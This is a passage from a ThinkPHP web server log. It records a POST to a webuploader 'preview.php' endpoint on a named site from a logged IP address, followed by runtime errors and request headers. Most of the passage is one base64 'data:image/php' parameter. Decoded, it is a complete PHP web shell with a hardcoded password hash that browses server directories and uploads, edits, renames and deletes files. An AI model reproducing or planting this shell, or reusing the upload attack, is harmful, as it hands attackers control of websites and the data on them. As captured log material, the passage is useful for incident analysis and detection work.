'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:26:54+08:00 ] 119.42.146.234 POST 51tianwei.com/public/static/manage/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002861s] [吞吐率:349.53req/s] [内存消耗:196.85kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 